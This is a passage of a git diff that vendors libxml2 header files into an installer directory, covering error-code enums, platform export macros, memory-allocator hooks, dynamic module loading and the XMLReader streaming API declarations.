non-W3C */ + XML_SCHEMAP_SRC_ATTRIBUTE_GROUP_1, /* 3071 */ + XML_SCHEMAP_SRC_ATTRIBUTE_GROUP_2, /* 3072 */ + XML_SCHEMAP_SRC_ATTRIBUTE_GROUP_3, /* 3073 */ + XML_SCHEMAP_MG_PROPS_CORRECT_1, /* 3074 */ + XML_SCHEMAP_MG_PROPS_CORRECT_2, /* 3075 */ + XML_SCHEMAP_SRC_CT_1, /* 3076 */ + XML_SCHEMAP_DERIVATION_OK_RESTRICTION_2_1_3, /* 3077 */ + XML_SCHEMAP_AU_PROPS_CORRECT_2, /* 3078 */ + XML_SCHEMAP_A_PROPS_CORRECT_2, /* 3079 */ + XML_SCHEMAP_C_PROPS_CORRECT, /* 3080 */ + XML_SCHEMAP_SRC_REDEFINE, /* 3081 */ + XML_SCHEMAP_SRC_IMPORT, /* 3082 */ + XML_SCHEMAP_WARN_SKIP_SCHEMA, /* 3083 */ + XML_SCHEMAP_WARN_UNLOCATED_SCHEMA, /* 3084 */ + XML_SCHEMAP_WARN_ATTR_REDECL_PROH, /* 3085 */ + XML_SCHEMAP_WARN_ATTR_POINTLESS_PROH, /* 3085 */ + XML_SCHEMAP_AG_PROPS_CORRECT, /* 3086 */ + XML_SCHEMAP_COS_CT_EXTENDS_1_2, /* 3087 */ + XML_SCHEMAP_AU_PROPS_CORRECT, /* 3088 */ + XML_SCHEMAP_A_PROPS_CORRECT_3, /* 3089 */ + XML_SCHEMAP_COS_ALL_LIMITED, /* 3090 */ + XML_SCHEMATRONV_ASSERT = 4000, /* 4000 */ + XML_SCHEMATRONV_REPORT, + XML_MODULE_OPEN = 4900, /* 4900 */ + XML_MODULE_CLOSE, /* 4901 */ + XML_CHECK_FOUND_ELEMENT = 5000, + XML_CHECK_FOUND_ATTRIBUTE, /* 5001 */ + XML_CHECK_FOUND_TEXT, /* 5002 */ + XML_CHECK_FOUND_CDATA, /* 5003 */ + XML_CHECK_FOUND_ENTITYREF, /* 5004 */ + XML_CHECK_FOUND_ENTITY, /* 5005 */ + XML_CHECK_FOUND_PI, /* 5006 */ + XML_CHECK_FOUND_COMMENT, /* 5007 */ + XML_CHECK_FOUND_DOCTYPE, /* 5008 */ + XML_CHECK_FOUND_FRAGMENT, /* 5009 */ + XML_CHECK_FOUND_NOTATION, /* 5010 */ + XML_CHECK_UNKNOWN_NODE, /* 5011 */ + XML_CHECK_ENTITY_TYPE, /* 5012 */ + XML_CHECK_NO_PARENT, /* 5013 */ + XML_CHECK_NO_DOC, /* 5014 */ + XML_CHECK_NO_NAME, /* 5015 */ + XML_CHECK_NO_ELEM, /* 5016 */ + XML_CHECK_WRONG_DOC, /* 5017 */ + XML_CHECK_NO_PREV, /* 5018 */ + XML_CHECK_WRONG_PREV, /* 5019 */ + XML_CHECK_NO_NEXT, /* 5020 */ + XML_CHECK_WRONG_NEXT, /* 5021 */ + XML_CHECK_NOT_DTD, /* 5022 */ + XML_CHECK_NOT_ATTR, /* 5023 */ + XML_CHECK_NOT_ATTR_DECL, /* 5024 */ + XML_CHECK_NOT_ELEM_DECL, /* 5025 */ + XML_CHECK_NOT_ENTITY_DECL, /* 5026 */ + XML_CHECK_NOT_NS_DECL, /* 5027 */ + XML_CHECK_NO_HREF, /* 5028 */ + XML_CHECK_WRONG_PARENT,/* 5029 */ + XML_CHECK_NS_SCOPE, /* 5030 */ + XML_CHECK_NS_ANCESTOR, /* 5031 */ + XML_CHECK_NOT_UTF8, /* 5032 */ + XML_CHECK_NO_DICT, /* 5033 */ + XML_CHECK_NOT_NCNAME, /* 5034 */ + XML_CHECK_OUTSIDE_DICT, /* 5035 */ + XML_CHECK_WRONG_NAME, /* 5036 */ + XML_CHECK_NAME_NOT_NULL, /* 5037 */ + XML_I18N_NO_NAME = 6000, + XML_I18N_NO_HANDLER, /* 6001 */ + XML_I18N_EXCESS_HANDLER, /* 6002 */ + XML_I18N_CONV_FAILED, /* 6003 */ + XML_I18N_NO_OUTPUT, /* 6004 */ + XML_BUF_OVERFLOW = 7000 +} xmlParserErrors; + +/** + * xmlGenericErrorFunc: + * @ctx: a parsing context + * @msg: the message + * @...: the extra arguments of the varags to format the message + * + * Signature of the function to use when there is an error and + * no parsing or validity context available . + */ +typedef void (XMLCDECL *xmlGenericErrorFunc) (void *ctx, + const char *msg, + ...) LIBXML_ATTR_FORMAT(2,3); +/** + * xmlStructuredErrorFunc: + * @userData: user provided data for the error callback + * @error: the error being raised. + * + * Signature of the function to use when there is an error and + * the module handles the new error reporting mechanism. + */ +typedef void (XMLCALL *xmlStructuredErrorFunc) (void *userData, xmlErrorPtr error); + +/* + * Use the following function to reset the two global variables + * xmlGenericError and xmlGenericErrorContext. + */ +XMLPUBFUN void XMLCALL + xmlSetGenericErrorFunc (void *ctx, + xmlGenericErrorFunc handler); +XMLPUBFUN void XMLCALL + initGenericErrorDefaultFunc (xmlGenericErrorFunc *handler); + +XMLPUBFUN void XMLCALL + xmlSetStructuredErrorFunc (void *ctx, + xmlStructuredErrorFunc handler); +/* + * Default message routines used by SAX and Valid context for error + * and warning reporting. + */ +XMLPUBFUN void XMLCDECL + xmlParserError (void *ctx, + const char *msg, + ...) LIBXML_ATTR_FORMAT(2,3); +XMLPUBFUN void XMLCDECL + xmlParserWarning (void *ctx, + const char *msg, + ...) LIBXML_ATTR_FORMAT(2,3); +XMLPUBFUN void XMLCDECL + xmlParserValidityError (void *ctx, + const char *msg, + ...) LIBXML_ATTR_FORMAT(2,3); +XMLPUBFUN void XMLCDECL + xmlParserValidityWarning (void *ctx, + const char *msg, + ...) LIBXML_ATTR_FORMAT(2,3); +XMLPUBFUN void XMLCALL + xmlParserPrintFileInfo (xmlParserInputPtr input); +XMLPUBFUN void XMLCALL + xmlParserPrintFileContext (xmlParserInputPtr input); + +/* + * Extended error information routines + */ +XMLPUBFUN xmlErrorPtr XMLCALL + xmlGetLastError (void); +XMLPUBFUN void XMLCALL + xmlResetLastError (void); +XMLPUBFUN xmlErrorPtr XMLCALL + xmlCtxtGetLastError (void *ctx); +XMLPUBFUN void XMLCALL + xmlCtxtResetLastError (void *ctx); +XMLPUBFUN void XMLCALL + xmlResetError (xmlErrorPtr err); +XMLPUBFUN int XMLCALL + xmlCopyError (xmlErrorPtr from, + xmlErrorPtr to); + +#ifdef IN_LIBXML +/* + * Internal callback reporting routine + */ +XMLPUBFUN void XMLCALL + __xmlRaiseError (xmlStructuredErrorFunc schannel, + xmlGenericErrorFunc channel, + void *data, + void *ctx, + void *node, + int domain, + int code, + xmlErrorLevel level, + const char *file, + int line, + const char *str1, + const char *str2, + const char *str3, + int int1, + int col, + const char *msg, + ...) LIBXML_ATTR_FORMAT(16,17); +XMLPUBFUN void XMLCALL + __xmlSimpleError (int domain, + int code, + xmlNodePtr node, + const char *msg, + const char *extra) LIBXML_ATTR_FORMAT(4,0); +#endif +#ifdef __cplusplus +} +#endif +#endif /* __XML_ERROR_H__ */ diff --git a/installer/libxml2/include/libxml/xmlexports.h b/installer/libxml2/include/libxml/xmlexports.h new file mode 100644 index 0000000..2c79f81 --- /dev/null +++ b/installer/libxml2/include/libxml/xmlexports.h @@ -0,0 +1,162 @@ +/* + * Summary: macros for marking symbols as exportable/importable. + * Description: macros for marking symbols as exportable/importable. + * + * Copy: See Copyright for the status of this software. + * + * Author: Igor Zlatovic + */ + +#ifndef __XML_EXPORTS_H__ +#define __XML_EXPORTS_H__ + +/** + * XMLPUBFUN, XMLPUBVAR, XMLCALL + * + * Macros which declare an exportable function, an exportable variable and + * the calling convention used for functions. + * + * Please use an extra block for every platform/compiler combination when + * modifying this, rather than overlong #ifdef lines. This helps + * readability as well as the fact that different compilers on the same + * platform might need different definitions. + */ + +/** + * XMLPUBFUN: + * + * Macros which declare an exportable function + */ +#define XMLPUBFUN +/** + * XMLPUBVAR: + * + * Macros which declare an exportable variable + */ +#define XMLPUBVAR extern +/** + * XMLCALL: + * + * Macros which declare the called convention for exported functions + */ +#define XMLCALL +/** + * XMLCDECL: + * + * Macro which declares the calling convention for exported functions that + * use '...'. + */ +#define XMLCDECL + +/** DOC_DISABLE */ + +/* Windows platform with MS compiler */ +#if defined(_WIN32) && defined(_MSC_VER) + #undef XMLPUBFUN + #undef XMLPUBVAR + #undef XMLCALL + #undef XMLCDECL + #if defined(IN_LIBXML) && !defined(LIBXML_STATIC) + #define XMLPUBFUN __declspec(dllexport) + #define XMLPUBVAR __declspec(dllexport) + #else + #define XMLPUBFUN + #if !defined(LIBXML_STATIC) + #define XMLPUBVAR __declspec(dllimport) extern + #else + #define XMLPUBVAR extern + #endif + #endif + #if defined(LIBXML_FASTCALL) + #define XMLCALL __fastcall + #else + #define XMLCALL __cdecl + #endif + #define XMLCDECL __cdecl + #if !defined _REENTRANT + #define _REENTRANT + #endif +#endif + +/* Windows platform with Borland compiler */ +#if defined(_WIN32) && defined(__BORLANDC__) + #undef XMLPUBFUN + #undef XMLPUBVAR + #undef XMLCALL + #undef XMLCDECL + #if defined(IN_LIBXML) && !defined(LIBXML_STATIC) + #define XMLPUBFUN __declspec(dllexport) + #define XMLPUBVAR __declspec(dllexport) extern + #else + #define XMLPUBFUN + #if !defined(LIBXML_STATIC) + #define XMLPUBVAR __declspec(dllimport) extern + #else + #define XMLPUBVAR extern + #endif + #endif + #define XMLCALL __cdecl + #define XMLCDECL __cdecl + #if !defined _REENTRANT + #define _REENTRANT + #endif +#endif + +/* Windows platform with GNU compiler (Mingw) */ +#if defined(_WIN32) && defined(__MINGW32__) + #undef XMLPUBFUN + #undef XMLPUBVAR + #undef XMLCALL + #undef XMLCDECL + /* + * if defined(IN_LIBXML) this raises problems on mingw with msys + * _imp__xmlFree listed as missing. Try to workaround the problem + * by also making that declaration when compiling client code. + */ + #if defined(IN_LIBXML) && !defined(LIBXML_STATIC) + #define XMLPUBFUN __declspec(dllexport) + #define XMLPUBVAR __declspec(dllexport) extern + #else + #define XMLPUBFUN + #if !defined(LIBXML_STATIC) + #define XMLPUBVAR __declspec(dllimport) extern + #else + #define XMLPUBVAR extern + #endif + #endif + #define XMLCALL __cdecl + #define XMLCDECL __cdecl + #if !defined _REENTRANT + #define _REENTRANT + #endif +#endif + +/* Cygwin platform, GNU compiler */ +#if defined(_WIN32) && defined(__CYGWIN__) + #undef XMLPUBFUN + #undef XMLPUBVAR + #undef XMLCALL + #undef XMLCDECL + #if defined(IN_LIBXML) && !defined(LIBXML_STATIC) + #define XMLPUBFUN __declspec(dllexport) + #define XMLPUBVAR __declspec(dllexport) + #else + #define XMLPUBFUN + #if !defined(LIBXML_STATIC) + #define XMLPUBVAR __declspec(dllimport) extern + #else + #define XMLPUBVAR + #endif + #endif + #define XMLCALL __cdecl + #define XMLCDECL __cdecl +#endif + +/* Compatibility */ +#if !defined(LIBXML_DLL_IMPORT) +#define LIBXML_DLL_IMPORT XMLPUBVAR +#endif + +#endif /* __XML_EXPORTS_H__ */ + + diff --git a/installer/libxml2/include/libxml/xmlmemory.h b/installer/libxml2/include/libxml/xmlmemory.h new file mode 100644 index 0000000..17e375a --- /dev/null +++ b/installer/libxml2/include/libxml/xmlmemory.h @@ -0,0 +1,224 @@ +/* + * Summary: interface for the memory allocator + * Description: provides interfaces for the memory allocator, + * including debugging capabilities. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + + +#ifndef __DEBUG_MEMORY_ALLOC__ +#define __DEBUG_MEMORY_ALLOC__ + +#include +#include + +/** + * DEBUG_MEMORY: + * + * DEBUG_MEMORY replaces the allocator with a collect and debug + * shell to the libc allocator. + * DEBUG_MEMORY should only be activated when debugging + * libxml i.e. if libxml has been configured with --with-debug-mem too. + */ +/* #define DEBUG_MEMORY_FREED */ +/* #define DEBUG_MEMORY_LOCATION */ + +#ifdef DEBUG +#ifndef DEBUG_MEMORY +#define DEBUG_MEMORY +#endif +#endif + +/** + * DEBUG_MEMORY_LOCATION: + * + * DEBUG_MEMORY_LOCATION should be activated only when debugging + * libxml i.e. if libxml has been configured with --with-debug-mem too. + */ +#ifdef DEBUG_MEMORY_LOCATION +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * The XML memory wrapper support 4 basic overloadable functions. + */ +/** + * xmlFreeFunc: + * @mem: an already allocated block of memory + * + * Signature for a free() implementation. + */ +typedef void (XMLCALL *xmlFreeFunc)(void *mem); +/** + * xmlMallocFunc: + * @size: the size requested in bytes + * + * Signature for a malloc() implementation. + * + * Returns a pointer to the newly allocated block or NULL in case of error. + */ +typedef void *(LIBXML_ATTR_ALLOC_SIZE(1) XMLCALL *xmlMallocFunc)(size_t size); + +/** + * xmlReallocFunc: + * @mem: an already allocated block of memory + * @size: the new size requested in bytes + * + * Signature for a realloc() implementation. + * + * Returns a pointer to the newly reallocated block or NULL in case of error. + */ +typedef void *(XMLCALL *xmlReallocFunc)(void *mem, size_t size); + +/** + * xmlStrdupFunc: + * @str: a zero terminated string + * + * Signature for an strdup() implementation. + * + * Returns the copy of the string or NULL in case of error. + */ +typedef char *(XMLCALL *xmlStrdupFunc)(const char *str); + +/* + * The 4 interfaces used for all memory handling within libxml. +LIBXML_DLL_IMPORT xmlFreeFunc xmlFree; +LIBXML_DLL_IMPORT xmlMallocFunc xmlMalloc; +LIBXML_DLL_IMPORT xmlMallocFunc xmlMallocAtomic; +LIBXML_DLL_IMPORT xmlReallocFunc xmlRealloc; +LIBXML_DLL_IMPORT xmlStrdupFunc xmlMemStrdup; + */ + +/* + * The way to overload the existing functions. + * The xmlGc function have an extra entry for atomic block + * allocations useful for garbage collected memory allocators + */ +XMLPUBFUN int XMLCALL + xmlMemSetup (xmlFreeFunc freeFunc, + xmlMallocFunc mallocFunc, + xmlReallocFunc reallocFunc, + xmlStrdupFunc strdupFunc); +XMLPUBFUN int XMLCALL + xmlMemGet (xmlFreeFunc *freeFunc, + xmlMallocFunc *mallocFunc, + xmlReallocFunc *reallocFunc, + xmlStrdupFunc *strdupFunc); +XMLPUBFUN int XMLCALL + xmlGcMemSetup (xmlFreeFunc freeFunc, + xmlMallocFunc mallocFunc, + xmlMallocFunc mallocAtomicFunc, + xmlReallocFunc reallocFunc, + xmlStrdupFunc strdupFunc); +XMLPUBFUN int XMLCALL + xmlGcMemGet (xmlFreeFunc *freeFunc, + xmlMallocFunc *mallocFunc, + xmlMallocFunc *mallocAtomicFunc, + xmlReallocFunc *reallocFunc, + xmlStrdupFunc *strdupFunc); + +/* + * Initialization of the memory layer. + */ +XMLPUBFUN int XMLCALL + xmlInitMemory (void); + +/* + * Cleanup of the memory layer. + */ +XMLPUBFUN void XMLCALL + xmlCleanupMemory (void); +/* + * These are specific to the XML debug memory wrapper. + */ +XMLPUBFUN int XMLCALL + xmlMemUsed (void); +XMLPUBFUN int XMLCALL + xmlMemBlocks (void); +XMLPUBFUN void XMLCALL + xmlMemDisplay (FILE *fp); +XMLPUBFUN void XMLCALL + xmlMemDisplayLast(FILE *fp, long nbBytes); +XMLPUBFUN void XMLCALL + xmlMemShow (FILE *fp, int nr); +XMLPUBFUN void XMLCALL + xmlMemoryDump (void); +XMLPUBFUN void * XMLCALL + xmlMemMalloc (size_t size) LIBXML_ATTR_ALLOC_SIZE(1); +XMLPUBFUN void * XMLCALL + xmlMemRealloc (void *ptr,size_t size); +XMLPUBFUN void XMLCALL + xmlMemFree (void *ptr); +XMLPUBFUN char * XMLCALL + xmlMemoryStrdup (const char *str); +XMLPUBFUN void * XMLCALL + xmlMallocLoc (size_t size, const char *file, int line) LIBXML_ATTR_ALLOC_SIZE(1); +XMLPUBFUN void * XMLCALL + xmlReallocLoc (void *ptr, size_t size, const char *file, int line); +XMLPUBFUN void * XMLCALL + xmlMallocAtomicLoc (size_t size, const char *file, int line) LIBXML_ATTR_ALLOC_SIZE(1); +XMLPUBFUN char * XMLCALL + xmlMemStrdupLoc (const char *str, const char *file, int line); + + +#ifdef DEBUG_MEMORY_LOCATION +/** + * xmlMalloc: + * @size: number of bytes to allocate + * + * Wrapper for the malloc() function used in the XML library. + * + * Returns the pointer to the allocated area or NULL in case of error. + */ +#define xmlMalloc(size) xmlMallocLoc((size), __FILE__, __LINE__) +/** + * xmlMallocAtomic: + * @size: number of bytes to allocate + * + * Wrapper for the malloc() function used in the XML library for allocation + * of block not containing pointers to other areas. + * + * Returns the pointer to the allocated area or NULL in case of error. + */ +#define xmlMallocAtomic(size) xmlMallocAtomicLoc((size), __FILE__, __LINE__) +/** + * xmlRealloc: + * @ptr: pointer to the existing allocated area + * @size: number of bytes to allocate + * + * Wrapper for the realloc() function used in the XML library. + * + * Returns the pointer to the allocated area or NULL in case of error. + */ +#define xmlRealloc(ptr, size) xmlReallocLoc((ptr), (size), __FILE__, __LINE__) +/** + * xmlMemStrdup: + * @str: pointer to the existing string + * + * Wrapper for the strdup() function, xmlStrdup() is usually preferred. + * + * Returns the pointer to the allocated area or NULL in case of error. + */ +#define xmlMemStrdup(str) xmlMemStrdupLoc((str), __FILE__, __LINE__) + +#endif /* DEBUG_MEMORY_LOCATION */ + +#ifdef __cplusplus +} +#endif /* __cplusplus */ + +#ifndef __XML_GLOBALS_H +#ifndef __XML_THREADS_H__ +#include +#include +#endif +#endif + +#endif /* __DEBUG_MEMORY_ALLOC__ */ + diff --git a/installer/libxml2/include/libxml/xmlmodule.h b/installer/libxml2/include/libxml/xmlmodule.h new file mode 100644 index 0000000..9667820 --- /dev/null +++ b/installer/libxml2/include/libxml/xmlmodule.h @@ -0,0 +1,57 @@ +/* + * Summary: dynamic module loading + * Description: basic API for dynamic module loading, used by + * libexslt added in 2.6.17 + * + * Copy: See Copyright for the status of this software. + * + * Author: Joel W. Reed + */ + +#ifndef __XML_MODULE_H__ +#define __XML_MODULE_H__ + +#include + +#ifdef LIBXML_MODULES_ENABLED + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * xmlModulePtr: + * + * A handle to a dynamically loaded module + */ +typedef struct _xmlModule xmlModule; +typedef xmlModule *xmlModulePtr; + +/** + * xmlModuleOption: + * + * enumeration of options that can be passed down to xmlModuleOpen() + */ +typedef enum { + XML_MODULE_LAZY = 1, /* lazy binding */ + XML_MODULE_LOCAL= 2 /* local binding */ +} xmlModuleOption; + +XMLPUBFUN xmlModulePtr XMLCALL xmlModuleOpen (const char *filename, + int options); + +XMLPUBFUN int XMLCALL xmlModuleSymbol (xmlModulePtr module, + const char* name, + void **result); + +XMLPUBFUN int XMLCALL xmlModuleClose (xmlModulePtr module); + +XMLPUBFUN int XMLCALL xmlModuleFree (xmlModulePtr module); + +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_MODULES_ENABLED */ + +#endif /*__XML_MODULE_H__ */ diff --git a/installer/libxml2/include/libxml/xmlreader.h b/installer/libxml2/include/libxml/xmlreader.h new file mode 100644 index 0000000..2c99e3a --- /dev/null +++ b/installer/libxml2/include/libxml/xmlreader.h @@ -0,0 +1,428 @@ +/* + * Summary: the XMLReader implementation + * Description: API of the XML streaming API based on C# interfaces. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_XMLREADER_H__ +#define __XML_XMLREADER_H__ + +#include +#include +#include +#ifdef LIBXML_SCHEMAS_ENABLED +#include +#include +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * xmlParserSeverities: + * + * How severe an error callback is when the per-reader error callback API + * is used. + */ +typedef enum { + XML_PARSER_SEVERITY_VALIDITY_WARNING = 1, + XML_PARSER_SEVERITY_VALIDITY_ERROR = 2, + XML_PARSER_SEVERITY_WARNING = 3, + XML_PARSER_SEVERITY_ERROR = 4 +} xmlParserSeverities; + +#ifdef LIBXML_READER_ENABLED + +/** + * xmlTextReaderMode: + * + * Internal state values for the reader. + */ +typedef enum { + XML_TEXTREADER_MODE_INITIAL = 0, + XML_TEXTREADER_MODE_INTERACTIVE = 1, + XML_TEXTREADER_MODE_ERROR = 2, + XML_TEXTREADER_MODE_EOF =3, + XML_TEXTREADER_MODE_CLOSED = 4, + XML_TEXTREADER_MODE_READING = 5 +} xmlTextReaderMode; + +/** + * xmlParserProperties: + * + * Some common options to use with xmlTextReaderSetParserProp, but it + * is better to use xmlParserOption and the xmlReaderNewxxx and + * xmlReaderForxxx APIs now. + */ +typedef enum { + XML_PARSER_LOADDTD = 1, + XML_PARSER_DEFAULTATTRS = 2, + XML_PARSER_VALIDATE = 3, + XML_PARSER_SUBST_ENTITIES = 4 +} xmlParserProperties; + +/** + * xmlReaderTypes: + * + * Predefined constants for the different types of nodes. + */ +typedef enum { + XML_READER_TYPE_NONE = 0, + XML_READER_TYPE_ELEMENT = 1, + XML_READER_TYPE_ATTRIBUTE = 2, + XML_READER_TYPE_TEXT = 3, + XML_READER_TYPE_CDATA = 4, + XML_READER_TYPE_ENTITY_REFERENCE = 5, + XML_READER_TYPE_ENTITY = 6, + XML_READER_TYPE_PROCESSING_INSTRUCTION = 7, + XML_READER_TYPE_COMMENT = 8, + XML_READER_TYPE_DOCUMENT = 9, + XML_READER_TYPE_DOCUMENT_TYPE = 10, + XML_READER_TYPE_DOCUMENT_FRAGMENT = 11, + XML_READER_TYPE_NOTATION = 12, + XML_READER_TYPE_WHITESPACE = 13, + XML_READER_TYPE_SIGNIFICANT_WHITESPACE = 14, + XML_READER_TYPE_END_ELEMENT = 15, + XML_READER_TYPE_END_ENTITY = 16, + XML_READER_TYPE_XML_DECLARATION = 17 +} xmlReaderTypes; + +/** + * xmlTextReader: + * + * Structure for an xmlReader context. + */ +typedef struct _xmlTextReader xmlTextReader; + +/** + * xmlTextReaderPtr: + * + * Pointer to an xmlReader context. + */ +typedef xmlTextReader *xmlTextReaderPtr; + +/* + * Constructors & Destructor + */ +XMLPUBFUN xmlTextReaderPtr XMLCALL + xmlNewTextReader (xmlParserInputBufferPtr input, + const char *URI); +XMLPUBFUN xmlTextReaderPtr XMLCALL + xmlNewTextReaderFilename(const char *URI); + +XMLPUBFUN void XMLCALL + xmlFreeTextReader (xmlTextReaderPtr reader); + +XMLPUBFUN int XMLCALL + xmlTextReaderSetup(xmlTextReaderPtr reader, + xmlParserInputBufferPtr input, const char *URL, + const char *encoding, int options); + +/* + * Iterators + */ +XMLPUBFUN int XMLCALL + xmlTextReaderRead (xmlTextReaderPtr reader); + +#ifdef LIBXML_WRITER_ENABLED +XMLPUBFUN xmlChar * XMLCALL + xmlTextReaderReadInnerXml(xmlTextReaderPtr reader); + +XMLPUBFUN xmlChar * XMLCALL + xmlTextReaderReadOuterXml(xmlTextReaderPtr reader); +#endif + +XMLPUBFUN xmlChar * XMLCALL + xmlTextReaderReadString (xmlTextReaderPtr reader); +XMLPUBFUN int XMLCALL + xmlTextReaderReadAttributeValue(xmlTextReaderPtr reader); + +/* + * Attributes of the node + */ +XMLPUBFUN int XMLCALL + xmlTextReaderAttributeCount(xmlTextReaderPtr reader); +XMLPUBFUN int XMLCALL + xmlTextReaderDepth (xmlTextReaderPtr reader); +XMLPUBFUN int XMLCALL + xmlTextReaderHasAttributes(xmlTextReaderPtr reader); +XMLPUBFUN int XMLCALL + xmlTextReaderHasValue(xmlTextReaderPtr reader); +XMLPUBFUN int XMLCALL + xmlTextReaderIsDefault (xmlTextReaderPtr reader); +XMLPUBFUN int XMLCALL + xmlTextReaderIsEmptyElement(xmlTextReaderPtr reader); +XMLPUBFUN int XMLCALL + xmlTextReaderNodeType (xmlTextReaderPtr reader); +XMLPUBFUN int XMLCALL + xmlTextReaderQuoteChar (xmlTextReaderPtr reader); +XMLPUBFUN int XMLCALL + xmlTextReaderReadState (xmlTextReaderPtr reader); +XMLPUBFUN int XMLCALL + xmlTextReaderIsNamespaceDecl(xmlTextReaderPtr reader); + +XMLPUBFUN const xmlChar * XMLCALL + xmlTextReaderConstBaseUri (xmlTextReaderPtr reader); +XMLPUBFUN const xmlChar * XMLCALL + xmlTextReaderConstLocalName (xmlTextReaderPtr reader); +XMLPUBFUN const xmlChar * XMLCALL + xmlTextReaderConstName (xmlTextReaderPtr reader); +XMLPUBFUN const xmlChar * XMLCALL + xmlTextReaderConstNamespaceUri(xmlTextReaderPtr reader); +XMLPUBFUN const xmlChar * XMLCALL + xmlTextReaderConstPrefix (xmlTextReaderPtr reader); +XMLPUBFUN const xmlChar * XMLCALL + xmlTextReaderConstXmlLang (xmlTextReaderPtr reader); +XMLPUBFUN const xmlChar * XMLCALL + xmlTextReaderConstString (xmlTextReaderPtr reader, + const xmlChar *str); +XMLPUBFUN const xmlChar * XMLCALL + xmlTextReaderConstValue (xmlTextReaderPtr reader); + +/* + * use the Const version of the routine for + * better performance and simpler code + */ +XMLPUBFUN xmlChar * XMLCALL + xmlTextReaderBaseUri (xmlTextReaderPtr reader); +XMLPUBFUN xmlChar * XMLCALL + xmlTextReaderLocalName (xmlTextReaderPtr reader); +XMLPUBFUN xmlChar * XMLCALL + xmlTextReaderName (xmlTextReaderPtr reader); +XMLPUBFUN xmlChar * XMLCALL + xmlTextReaderNamespaceUri(xmlTextReaderPtr reader); +XMLPUBFUN xmlChar * XMLCALL + xmlTextReaderPrefix (xmlTextReaderPtr reader); +XMLPUBFUN xmlChar * XMLCALL + xmlTextReaderXmlLang (xmlTextReaderPtr reader); +XMLPUBFUN xmlChar * XMLCALL + xmlTextReaderValue (xmlTextReaderPtr reader); + +/* + * Methods of the XmlTextReader + */ +XMLPUBFUN int XMLCALL + xmlTextReaderClose (xmlTextReaderPtr reader); +XMLPUBFUN xmlChar * XMLCALL + xmlTextReaderGetAttributeNo (xmlTextReaderPtr reader, + int no); +XMLPUBFUN xmlChar * XMLCALL + xmlTextReaderGetAttribute (xmlTextReaderPtr reader, + const xmlChar *name); +XMLPUBFUN xmlChar * XMLCALL + xmlTextReaderGetAttributeNs (xmlTextReaderPtr reader, + const xmlChar *localName, + const xmlChar *namespaceURI); +XMLPUBFUN xmlParserInputBufferPtr XMLCALL + xmlTextReaderGetRemainder (xmlTextReaderPtr reader); +XMLPUBFUN xmlChar * XMLCALL + xmlTextReaderLookupNamespace(xmlTextReaderPtr reader, + const xmlChar *prefix); +XMLPUBFUN int XMLCALL + xmlTextReaderMoveToAttributeNo(xmlTextReaderPtr reader, + int no); +XMLPUBFUN int XMLCALL + xmlTextReaderMoveToAttribute(xmlTextReaderPtr reader, + const xmlChar *name); +XMLPUBFUN int XMLCALL + xmlTextReaderMoveToAttributeNs(xmlTextReaderPtr reader, + const xmlChar *localName, + const xmlChar *namespaceURI); +XMLPUBFUN int XMLCALL + xmlTextReaderMoveToFirstAttribute(xmlTextReaderPtr reader); +XMLPUBFUN int XMLCALL + xmlTextReaderMoveToNextAttribute(xmlTextReaderPtr reader); +XMLPUBFUN int XMLCALL + xmlTextReaderMoveToElement (xmlTextReaderPtr reader); +XMLPUBFUN int XMLCALL + xmlTextReaderNormalization (xmlTextReaderPtr reader); +XMLPUBFUN const xmlChar * XMLCALL + xmlTextReaderConstEncoding (xmlTextReaderPtr reader); + +/* + * Extensions + */ +XMLPUBFUN int XMLCALL + xmlTextReaderSetParserProp (xmlTextReaderPtr reader, + int prop, + int value); +XMLPUBFUN int XMLCALL + xmlTextReaderGetParserProp (xmlTextReaderPtr reader, + int prop); +XMLPUBFUN xmlNodePtr XMLCALL + xmlTextReaderCurrentNode (xmlTextReaderPtr reader); + +XMLPUBFUN int XMLCALL + xmlTextReaderGetParserLineNumber(xmlTextReaderPtr reader); + +XMLPUBFUN int XMLCALL + xmlTextReaderGetParserColumnNumber(xmlTextReaderPtr reader); + +XMLPUBFUN xmlNodePtr XMLCALL + xmlTextReaderPreserve (xmlTextReaderPtr reader); +#ifdef LIBXML_PATTERN_ENABLED +XMLPUBFUN int XMLCALL + xmlTextReaderPreservePattern(xmlTextReaderPtr reader, + const xmlChar *pattern, + const xmlChar **namespaces); +#endif /* LIBXML_PATTERN_ENABLED */ +XMLPUBFUN xmlDocPtr XMLCALL + xmlTextReaderCurrentDoc (xmlTextReaderPtr reader); +XMLPUBFUN xmlNodePtr XMLCALL + xmlTextReaderExpand (xmlTextReaderPtr reader); +XMLPUBFUN int XMLCALL + xmlTextReaderNext (xmlTextReaderPtr reader); +XMLPUBFUN int XMLCALL + xmlTextReaderNextSibling (xmlTextReaderPtr reader); +XMLPUBFUN int XMLCALL + xmlTextReaderIsValid (xmlTextReaderPtr reader); +#ifdef LIBXML_SCHEMAS_ENABLED +XMLPUBFUN int XMLCALL + xmlTextReaderRelaxNGValidate(xmlTextReaderPtr reader, + const char *rng); +XMLPUBFUN int XMLCALL + xmlTextReaderRelaxNGValidateCtxt(xmlTextReaderPtr reader, + xmlRelaxNGValidCtxtPtr ctxt, + int options); + +XMLPUBFUN int XMLCALL + xmlTextReaderRelaxNGSetSchema(xmlTextReaderPtr reader, + xmlRelaxNGPtr schema); +XMLPUBFUN int XMLCALL + xmlTextReaderSchemaValidate (xmlTextReaderPtr reader, + const char *xsd); +XMLPUBFUN int XMLCALL + xmlTextReaderSchemaValidateCtxt(xmlTextReaderPtr reader, + xmlSchemaValidCtxtPtr ctxt, + int options); +XMLPUBFUN int XMLCALL + xmlTextReaderSetSchema (xmlTextReaderPtr reader, + xmlSchemaPtr schema); +#endif +XMLPUBFUN const xmlChar * XMLCALL + xmlTextReaderConstXmlVersion(xmlTextReaderPtr reader); +XMLPUBFUN int XMLCALL + xmlTextReaderStandalone (xmlTextReaderPtr reader); + + +/* + * Index lookup + */ +XMLPUBFUN long XMLCALL + xmlTextReaderByteConsumed (xmlTextReaderPtr reader); + +/* + * New more complete APIs for simpler creation and reuse of readers + */ +XMLPUBFUN xmlTextReaderPtr XMLCALL + xmlReaderWalker (xmlDocPtr doc); +XMLPUBFUN xmlTextReaderPtr XMLCALL + xmlReaderForDoc (const xmlChar * cur, + const char *URL, + const char *encoding, + int options); 